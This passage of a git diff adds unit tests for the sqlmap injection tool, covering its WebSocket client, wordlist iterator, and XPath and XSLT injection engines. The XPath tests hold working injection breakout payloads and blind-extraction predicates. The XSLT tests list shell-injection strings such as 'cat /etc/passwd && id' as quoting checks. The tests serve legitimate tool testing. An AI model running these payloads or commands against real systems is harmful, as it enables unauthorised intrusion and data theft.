loadTamper("between") + self.assertTrue(callable(fn)) + self.assertEqual(fn.__name__, "between") + # the loaded function is the real tamper transform + self.assertEqual(fn(payload="1 AND A>B"), "1 AND A NOT BETWEEN 0 AND B") + + def test_missing_returns_none_or_raises(self): + # a non-existent script must not silently yield a bogus callable + try: + self.assertIsNone(loadTamper("no_such_tamper_script_xyz")) + except Exception: + pass # an import error is also acceptable; what matters is no fake function + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_websocket.py b/tests/test_websocket.py new file mode 100644 index 00000000000..6091229a621 --- /dev/null +++ b/tests/test_websocket.py @@ -0,0 +1,138 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native WebSocket client in +lib/request/websocket.py: the RFC 6455 accept-key computation, client frame masking, +the length-encoding boundaries (7/16/64-bit), fragment reassembly and control-frame +handling. No socket is opened - frames are fed through a primed buffer and a fake sink. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import base64 +import hashlib +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.websocket import ( + WebSocket, + WebSocketConnectionClosedException, + WebSocketTimeoutException, + _GUID, + OPCODE_TEXT, + OPCODE_CONTINUATION, + OPCODE_PING, + OPCODE_CLOSE, +) + + +class _FakeSock(object): + """Captures everything the client sends, so masked client frames / PONGs can be inspected.""" + def __init__(self): + self.sent = b"" + + def sendall(self, data): + self.sent += data + + def close(self): + pass + + +def _serverFrame(data, opcode=OPCODE_TEXT, fin=1): + """Build an (unmasked, server->client) frame carrying data.""" + if not isinstance(data, bytes): + data = data.encode("utf-8") + frame = bytearray([(fin << 7) | opcode]) + length = len(data) + if length < 126: + frame.append(length) + elif length < 65536: + frame.append(126); frame += struct.pack("!H", length) + else: + frame.append(127); frame += struct.pack("!Q", length) + frame += data + return bytes(frame) + + +def _client(buffer=b""): + ws = WebSocket.__new__(WebSocket) # bypass connect(): no socket + ws.sock = _FakeSock() + ws.status = 101 + ws._headers = {} + ws._timeout = None + ws._buffer = buffer + ws._closed = False + return ws + + +class TestWebSocket(unittest.TestCase): + def test_accept_key_rfc6455_vector(self): + # RFC 6455 section 1.3 canonical example + key = "dGhlIHNhbXBsZSBub25jZQ==" + accept = base64.b64encode(hashlib.sha1((key + _GUID).encode("ascii")).digest()).decode("ascii") + self.assertEqual(accept, "s3pPLMBiTxaQ9kYGzzhZRbK+xOo=") + + def test_client_frame_is_masked_and_roundtrips(self): + ws = _client() + ws._sendFrame(b"hello", OPCODE_TEXT) + raw = ws.sock.sent + self.assertEqual(bytearray(raw)[0], 0x80 | OPCODE_TEXT) # FIN + text + self.assertTrue(bytearray(raw)[1] & 0x80, "client frame must set the mask bit") + + # feeding the client's own (masked) frame back through the parser must recover the payload + fin, opcode, payload = _client(raw)._recvFrame() + self.assertEqual((fin, opcode, bytes(payload)), (1, OPCODE_TEXT, b"hello")) + + def test_length_encoding_boundaries(self): + for size in (125, 126, 65535, 65536): + ws = _client() + ws._sendFrame(b"A" * size, OPCODE_TEXT) + fin, opcode, payload = _client(ws.sock.sent)._recvFrame() + self.assertEqual(len(payload), size, msg="round-trip failed at length %d" % size) + + def test_recv_reassembles_fragments(self): + buf = _serverFrame("ab", OPCODE_TEXT, fin=0) + _serverFrame("cd", OPCODE_CONTINUATION, fin=1) + self.assertEqual(_client(buf).recv(), "abcd") + + def test_recv_answers_ping_then_returns_data(self): + ws = _client(_serverFrame("hi", OPCODE_PING) + _serverFrame("data", OPCODE_TEXT)) + self.assertEqual(ws.recv(), "data") + # a PONG (opcode 0xA) carrying the ping payload must have been sent back + pong = bytearray(ws.sock.sent) + self.assertEqual(pong[0], 0x80 | 0xA) + + def test_recv_close_raises(self): + ws = _client(_serverFrame(struct.pack("!H", 1000), OPCODE_CLOSE)) + self.assertRaises(WebSocketConnectionClosedException, ws.recv) + + def test_read_timeout_maps_to_ws_timeout(self): + import socket as _socket + import ssl as _ssl + + class _RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_wordlist.py b/tests/test_wordlist.py new file mode 100644 index 00000000000..9b6d842a45c --- /dev/null +++ b/tests/test_wordlist.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Wordlist iterator (lib/core/wordlist.py). + +Backs dictionary attacks (--common-tables, password cracking, brute force): a +lazy iterator that streams words across one or more files (and zip archives) +without loading them into RAM. Tested for ordering, multi-file chaining, +rewind, and end-of-stream behavior over real temp files. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.wordlist import Wordlist + + +def _mkfile(lines): + fd, path = tempfile.mkstemp() + os.write(fd, ("\n".join(lines) + "\n").encode("utf-8")) + os.close(fd) + return path + + +def _w(s): + # Wordlist yields native str on py2 but bytes on py3 (words are fed straight into HTTP payloads) + return s.encode("utf-8") if sys.version_info[0] >= 3 else s + + +def _drain(w): + out = [] + try: + while True: + out.append(next(w)) + except StopIteration: + pass + return out + + +class TestWordlist(unittest.TestCase): + def setUp(self): + self.paths = [] + self.wordlists = [] + + def tearDown(self): + for w in self.wordlists: # close open file handles (else ResourceWarning on py3) + try: + w.closeFP() + except Exception: + pass + for p in self.paths: + if os.path.exists(p): + os.remove(p) + + def _mk(self, lines): + p = _mkfile(lines) + self.paths.append(p) + return p + + def _wl(self, files): + w = Wordlist(files) + self.wordlists.append(w) + return w + + def test_single_file_order(self): + w = self._wl([self._mk(["alpha", "beta", "gamma"])]) + self.assertEqual(_drain(w), [_w("alpha"), _w("beta"), _w("gamma")]) + + def test_multiple_files_chained(self): + w = self._wl([self._mk(["a", "b"]), self._mk(["c", "d"])]) + self.assertEqual(_drain(w), [_w("a"), _w("b"), _w("c"), _w("d")]) + + def test_rewind_restarts(self): + w = self._wl([self._mk(["one", "two"])]) + self.assertEqual(next(w), _w("one")) + self.assertEqual(next(w), _w("two")) + w.rewind() + self.assertEqual(next(w), _w("one")) + + def test_end_raises_stopiteration(self): + w = self._wl([self._mk(["only"])]) + self.assertEqual(next(w), _w("only")) + self.assertRaises(StopIteration, lambda: next(w)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xpath.py b/tests/test_xpath.py new file mode 100644 index 00000000000..1923cbb79ec --- /dev/null +++ b/tests/test_xpath.py @@ -0,0 +1,563 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XPath injection engine. Mock oracles stand in for the +HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, and output +formatting can be exercised without a live target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xpath.inject as xpath + + +SENTINEL = xpath.SENTINEL + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(xpath._ratio("abc", "abc"), 0.9) + self.assertLess(xpath._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(xpath._delim(PLACE.GET), '&') + self.assertEqual(xpath._delim(PLACE.COOKIE), ';') + + def test_is_error(self): + self.assertTrue(xpath._isError("javax.xml.xpath.XPathExpressionException: error")) + self.assertTrue(xpath._isError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertFalse(xpath._isError("normal page content")) + + def test_backend_from_error(self): + self.assertIsNotNone(xpath._backendFromError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertIsNotNone(xpath._backendFromError("System.Xml.XPath.XPathException: has an invalid token")) + self.assertIsNone(xpath._backendFromError("normal page")) + + def test_is_password_param(self): + self.assertTrue(xpath._isPasswordParam("password")) + self.assertTrue(xpath._isPasswordParam("pass")) + self.assertFalse(xpath._isPasswordParam("username")) + + def test_xpath_quote(self): + self.assertEqual(xpath._xpathQuote("hello"), "'hello'") + self.assertEqual(xpath._xpathQuote("it's"), "\"it's\"") + self.assertEqual(xpath._xpathQuote('say "hi"'), "'say \"hi\"'") + both = "it's \"great\"" + q = xpath._xpathQuote(both) + self.assertIn("concat", q) + + def test_make_payload_with_suffix(self): + b = xpath.Boundary("') or ", " or ('", True) + p = xpath._makePayload("x", b, "starts-with(name(/*),'d')") + self.assertEqual(p, "x') or starts-with(name(/*),'d') or ('") + + def test_make_payload_no_suffix(self): + b = xpath.Boundary("' or ", "", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1") + + def test_make_payload_with_suffix_only(self): + b = xpath.Boundary("' or ", " and '1'='1", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1 and '1'='1") + + +class TestBoundaryTable(unittest.TestCase): + def test_all_entries_in_boundary_lookup(self): + for bk in xpath.XPATH_BREAKOUT_PREFIXES: + self.assertIn(bk, xpath._BREAKOUT_BOUNDARY, + "Breakout '%s' not found in _BREAKOUT_BOUNDARY" % bk) + + def test_function_arg_boundaries_are_extractable(self): + for bk in ("') or true() or ('", "') or '1'='1' or ('", "') or 1=1 or ('"): + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + self.assertTrue(len(b.prefix) > 0) + self.assertTrue(len(b.suffix) > 0) + + def test_simple_string_boundaries_have_suffix(self): + for bk in ("' or '1'='1", "' or true() or '", "' or 1=1 or '", + '" or "1"="1', '" or true() or "'): + b = xpath._BREAKOUT_BOUNDARY[bk] + if b is not None: + self.assertTrue(b.extractable) + self.assertTrue(len(b.suffix) > 0, + "Simple string breakout '%s' needs a suffix to absorb the trailing quote" % bk) + + def test_union_wildcard_is_not_extractable(self): + b = xpath._BREAKOUT_BOUNDARY.get("']|//*|test['") + self.assertIsNone(b, "Union wildcard must not have an extraction boundary") + + def test_numeric_has_leading_space(self): + for bk in (" or 1=1", " or true()"): + self.assertTrue(bk.startswith(" "), + "Numeric breakout '%s' needs leading whitespace" % bk) + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + + def test_all_extractable_have_prefix(self): + for bk, b in xpath._BREAKOUT_BOUNDARY.items(): + if b is not None: + self.assertTrue(len(b.prefix) > 0, + "Extractable boundary for '%s' needs a prefix" % bk) + + +class TestPayloadBuilder(unittest.TestCase): + def setUp(self): + self.boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + self.builder = xpath._XPathPayloadBuilder("x", self.boundary) + + def test_name_starts_with(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertIn("starts-with(name(/*)", p) + self.assertIn("'d'", p) + + def test_name_length(self): + p = self.builder.nameLength("/*", 9) + self.assertIn("string-length(name(/*))=9", p) + + def test_child_count(self): + p = self.builder.childCount("/*", 3) + self.assertIn("count(/*/*)>=3", p) + + def test_attribute_count(self): + p = self.builder.attributeCount("/*[1]", 2) + self.assertIn("count(/*[1]/@*)>=2", p) + + def test_text_starts_with(self): + p = self.builder.textStartsWith("/*[1]/*[1]", "lut") + self.assertIn("starts-with(string(/*[1]/*[1])", p) + + def test_empty_prefix(self): + p = self.builder.nameStartsWith("/*", "") + self.assertIn("''", p) + + def test_uses_boundary_not_hardcoded(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertNotIn("contains(username", p) + self.assertIn("x') or ", p) + self.assertIn(" or ('", p) + + def test_simple_string_boundary_builder(self): + b = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + builder = xpath._XPathPayloadBuilder("x", b) + p = builder.nameStartsWith("/*", "d") + self.assertIn("x' or ", p) + self.assertIn(" and '1'='1", p) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = xpath._send + + def tearDown(self): + xpath._send = self.original_send + + def test_false_page_must_be_reproducible(self): + # True is stable, false changes every time -> no oracle + true_calls = [0] + + def mock(place, parameter, value): + if "true()" in value: + return "true-page" + elif "false()" in value: + true_calls[0] += 1 + return "false-page-%d" % true_calls[0] + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNone(template) + + def test_detection_returns_extractable_boundary(self): + def mock(place, parameter, value): + # faithful XPath engine: string-length('ab')=2 holds (XPath-only confirm the detector + # now requires), =3 does not; plus the true()/false() the break-out probes with + m = re.search(r"string-length\('ab'\)=(\d+)", value) + if m: + return '{"count":7,"entries":[{...}]}' if int(m.group(1)) == 2 else '{"count":0,"entries":[],"error":null}' + if "true()" in value: + return '{"count":7,"entries":[{...}]}' + elif "false()" in value: + return '{"count":0,"entries":[],"error":null}' + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNotNone(template) + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + +class TestGridAndTable(unittest.TestCase): + def test_grid(self): + columns = ["Path", "Element", "Value"] + rows = [["/*", "root", ""], ["/*[1]", "child", "text"]] + grid = xpath._grid(columns, rows) + self.assertIn("Path", grid) + self.assertIn("root", grid) + + def test_grid_empty(self): + grid = xpath._grid([], []) + self.assertIn("+", grid) + + def test_tree_to_table(self): + node = { + "name": "directory", "path": "/*", + "children": [{"name": "user", "path": "/*[1]", "children": [], + "attributes": [{"name": "id", "value": "1"}], "text": None}], + "attributes": [], "text": None, + } + columns, rows = xpath._treeToTable(node) + self.assertIn("Path", columns) + self.assertGreater(len(rows), 0) + + +class TestExtractionCalibration(unittest.TestCase): + def test_xpath_or_boundary_calibrates_with_sentinel_base(self): + # for an OR-style boundary the extraction base is SENTINEL (not the original), and _makeOracle + # must calibrate its true()/false() models on THAT base so they match the extraction payloads + from lib.core.enums import PLACE + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + self.assertEqual(xpath._extractionBase("origvalue", orBoundary), xpath.SENTINEL) + + sent = [] + + def spy(place, parameter, value): + sent.append(value) + return "TRUE-model-page" if "true()" in value else "FALSE-model-page" + + old = xpath._send + xpath._send = spy + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, xpath._extractionBase("origvalue", orBoundary)) + finally: + xpath._send = old + self.assertIsNotNone(oracle) + self.assertTrue(sent) + self.assertTrue(all(xpath.SENTINEL in p for p in sent), "calibration used a non-sentinel base: %r" % sent) + self.assertFalse(any("origvalue" in p for p in sent)) + + def test_transient_failure_on_true_bit_is_not_a_false_bit(self): + # A timeout/5xx on a TRUE predicate must NOT be cached as a false bit: resolveBit re-sends and + # recovers the correct TRUE, and a PERSISTENT failure aborts (InconclusiveError), never False. + from lib.core.enums import PLACE + from lib.utils.nonsql import InconclusiveError + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + base = xpath._extractionBase("x", orBoundary) + + state = {"armed": False, "failed": set()} + + def flaky(place, parameter, value): + page = "TRUE-model-page" if "true()" in value else "FALSE-model-page" + # once armed (post-build), the FIRST send of each probe fails transiently, then recovers + if state["armed"] and value not in state["failed"]: + state["failed"].add(value) + return None + return page + + old = xpath._send + xpath._send = flaky + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, base) # calibrates cleanly + self.assertIsNotNone(oracle) + + # a fresh TRUE probe whose FIRST send fails transiently must resolve to True (retry), never False + probe = xpath._makePayload(base, orBoundary, "true()") + "[1]" + state["armed"] = True + self.assertTrue(oracle.extract(probe)) + + # a PERSISTENTLY failing probe must raise InconclusiveError, never return False + xpath._send = lambda place, parameter, value: None + self.assertRaises(InconclusiveError, oracle.extract, probe + "Z") + finally: + xpath._send = old + + +class TestExtraction(unittest.TestCase): + def test_infer_value_mock(self): + expected = "directory" + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"""starts-with\(name\(/\*\),'([^']*)'\)""", payload) + return expected.startswith(m.group(1)) if m else False + + oracle = MockOracle() + result = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=20) + self.assertEqual(result, expected) + + def test_infer_count(self): + expected = 3 + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"count\(/\*/\*\)>=(\d+)", payload) + if m: + return int(m.group(1)) <= expected + return False + + oracle = MockOracle() + result = xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), + maxCount=8) + self.assertEqual(result, expected) + + def test_infer_string_binary_search(self): + # Drive the binary-search extractor through real lxml evaluation of the + # boundary-wrapped predicates against _XML and confirm exact recovery. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + # Absolute targets are resolved the same way the live tree-walk would. + self.assertEqual(xpath._inferString(oracle, builder, "name(/*)", maxLen=32), "directory") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/name)", maxLen=32), "luther") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/@id)", maxLen=32), "1") + + def test_infer_string_matches_linear(self): + # The fast extractor must agree with the legacy linear extractor. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + fast = xpath._inferString(oracle, builder, "name(/*)", maxLen=32) + linear = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=32) + self.assertEqual(fast, linear) + + def test_inconclusive_oracle_aborts_value_not_fabricates(self): + # An oracle that stays INCONCLUSIVE (raises InconclusiveError, as resolveBit does after + # retries) must abort the value cleanly - _inferString returns None and _inferCount returns + # None (unknown) - rather than emitting a length/char/count chosen from an ambiguous bit. + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + oracle = InconclusiveOracle() + self.assertIsNone(xpath._inferString(oracle, builder, "name(/*)", maxLen=32)) + # inconclusive count must be None (unknown), NEVER 0 - 0 would read as a leaf and fabricate text + self.assertIsNone(xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), maxCount=8)) + self.assertIsNone(xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), maxLen=32)) + + def test_walk_tree_marks_partial_and_does_not_fabricate_text_on_unknown_count(self): + # name resolves (real lxml eval), but every child/attribute COUNT probe is inconclusive: the + # node must be marked partial, must NOT be treated as a leaf (no fabricated scalar text), and + # must not iterate phantom children + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class PartialCountOracle(object): + def extract(self, payload): + if "count(" in payload: + raise InconclusiveError() # child/attribute counts are ambiguous + return _xpath_eval(template, payload) > 0 # names/strings resolve normally + + node = xpath._walkTree(PartialCountOracle(), builder, "/*") + self.assertIsNotNone(node) + self.assertEqual(node["name"], "directory") + self.assertTrue(node["partial"]) + self.assertIsNone(node["text"]) # unknown child count must NOT fabricate leaf text + self.assertEqual(node["children"], []) + + +class TestBackendFingerprint(unittest.TestCase): + def test_lxml(self): + page = "lxml.etree.XPathEvalError: Invalid expression" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + self.assertIn("lxml", backend) + + def test_java_jaxp(self): + page = "javax.xml.xpath.XPathExpressionException: A location path was expected" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_dotnet(self): + page = "System.Xml.XPath.XPathException: Expression must evaluate to a node-set" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_no_error(self): + page = "Normal page with user data" + backend = xpath._backendFromError(page) + self.assertIsNone(backend) + + +# --- Real XPath syntax validation (lxml) --------------------------------------- + +_XML = b"""lutherfluffy""" + +_XPATH_TEMPLATES = { + "function_arg": "//user[contains(name,'%s')]", + "single_quoted": "//user[name='%s']", + "double_quoted": '//user[name="%s"]', + "numeric": "//user[position()=%s]", + "bare_predicate": "//user[%s]", +} + + +def _xpath_eval(template, payload): + """Evaluate an XPath expression against _XML, return the match count.""" + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + root = etree.fromstring(_XML) + expr = template % payload + return len(root.xpath(expr)) + + +class TestRealXPathSyntax(unittest.TestCase): + """Verify that detection payloads and extraction predicates are syntactically + valid XPath and produce the expected boolean results.""" + + @staticmethod + def _count(template, payload): + return _xpath_eval(template, payload) + + def _test_family(self, template_key, true_breakout, false_breakout, boundary_key, original="x"): + template = _XPATH_TEMPLATES[template_key] + boundary = xpath._BREAKOUT_BOUNDARY[boundary_key] + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + # Detection payloads must be syntactically valid and yield true/false + truePayload = original + true_breakout + falsePayload = original + false_breakout + self.assertGreater(self._count(template, truePayload), 0, + "True payload '%s' should match at least one node" % truePayload) + self.assertEqual(self._count(template, falsePayload), 0, + "False payload '%s' should match no nodes" % falsePayload) + + # Extraction predicate must be valid and change the result truthfully + self.assertIsNotNone(xpath._XPathPayloadBuilder(original, boundary)) + truePred = xpath._makePayload(original, boundary, "true()") + falsePred = xpath._makePayload(original, boundary, "false()") + self.assertGreater(self._count(template, truePred), 0, + "Extraction true predicate must match") + self.assertEqual(self._count(template, falsePred), 0, + "Extraction false predicate must not match") + + def test_function_arg_family(self): + self._test_family("function_arg", + "') or true() or ('", "') and false() and ('", + "') or true() or ('") + + def test_single_quoted_family(self): + self._test_family("single_quoted", + "' or '1'='1", "' and '1'='2", + "' or '1'='1") + + def test_double_quoted_family(self): + self._test_family("double_quoted", + '" or "1"="1', '" and "1"="2', + '" or "1"="1') + + def test_numeric_family(self): + self._test_family("numeric", + " or 1=1", " and 1=2", + " or 1=1", original="1") + + def test_bare_predicate_family(self): + self._test_family("bare_predicate", + " or true()", " and false()", + " or true()", original="1") + + def test_function_arg_second_variant(self): + self._test_family("function_arg", + "') or '1'='1' or ('", "') and '1'='2' and ('", + "') or '1'='1' or ('") + + def test_single_quoted_with_matching_original(self): + """When the original value matches a record (name='luther'), OR-style + extraction with 'and' suffix is still decisive because the engine uses + a non-matching sentinel base for tree-walking.""" + boundary = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + # Simulate what xpathScan() does: use a sentinel as base for OR-style + sentinel = "zzznotpresent" + self.assertIsNotNone(xpath._XPathPayloadBuilder(sentinel, boundary)) + truePred = xpath._makePayload(sentinel, boundary, "true()") + falsePred = xpath._makePayload(sentinel, boundary, "false()") + tpl = _XPATH_TEMPLATES["single_quoted"] + self.assertGreater(self._count(tpl, truePred), 0, + "OR extraction must match with sentinel base + true predicate") + self.assertEqual(self._count(tpl, falsePred), 0, + "OR extraction must not match with sentinel base + false predicate") + + def test_all_extractable_boundaries_have_valid_extraction(self): + # Match each boundary to an appropriate template and original value. + _CONTEXT = { + "') or true() or ('": ("function_arg", "x"), + "') or '1'='1' or ('": ("function_arg", "x"), + "') or 1=1 or ('": ("function_arg", "x"), + '") or true() or ("': ("function_arg", "x"), + "' or '1'='1": ("single_quoted", "x"), + "' or true() or '": ("single_quoted", "x"), + "' or 1=1 or '": ("single_quoted", "x"), + "' and '1'='1": ("single_quoted", "x"), + '" or "1"="1': ("double_quoted", "x"), + '" or true() or "': ("double_quoted", "x"), + " or 1=1": ("numeric", "999"), + " or true()": ("bare_predicate", "999"), + } + for bk, boundary in xpath._BREAKOUT_BOUNDARY.items(): + if boundary is None or not boundary.extractable: + continue + tkey, original = _CONTEXT.get(bk, ("function_arg", "x")) + template = _XPATH_TEMPLATES[tkey] + payload = xpath._makePayload(original, boundary, "true()") + try: + count = self._count(template, payload) + except unittest.SkipTest: + raise # lxml unavailable -> skip cleanly; SkipTest is an Exception, so the broad except below would otherwise mask it into a failure + except Exception as e: + self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload)) + self.assertIsInstance(count, int, + "Boundary '%s' in '%s' produced no count" % (bk, tkey)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xslt.py b/tests/test_xslt.py new file mode 100644 index 00000000000..3907d27716c --- /dev/null +++ b/tests/test_xslt.py @@ -0,0 +1,313 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the XSLT injection engine (lib/techniques/xslt/inject.py) and the XQuery tier the XPath +engine gained (lib/techniques/xpath/inject.py). + +Network-free: the payload builders, engine fingerprinting and charset construction are pure functions, so +they are asserted directly. The parts that decide a VERDICT get the most attention - a detection tier that +rests on "the page changed" is exactly the kind that invents findings, so its guards are pinned here. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XSLT_BRIDGES +from lib.core.settings import XSLT_BRIDGE_PHP +from lib.core.settings import XSLT_BRIDGE_JAVA +from lib.core.settings import XSLT_ADVISORY_PROBES +from lib.core.settings import XSLT_VENDOR_PROPERTIES +from lib.core.settings import XQUERY_CAPABILITY_PROBES +from lib.core.settings import XQUERY_FILE_READ +from lib.techniques.xslt import inject as _xslt +from lib.techniques.xpath import inject as _xpath + + +def _source(*parts): + with open(os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", *parts)) as f: + return f.read() + + +class XsltPayloadTest(unittest.TestCase): + def test_element_payload_is_a_whole_instruction(self): + payload = _xslt._elementPayload("'a'") + self.assertTrue(payload.startswith(" _quote uses "..." + "grep -r 'x' /etc", + "/tmp/o'brien.xml", + "/tmp/a&b.xml", # bare '&' ends the attribute value + "cat /etc/passwd && id", + "/tmp/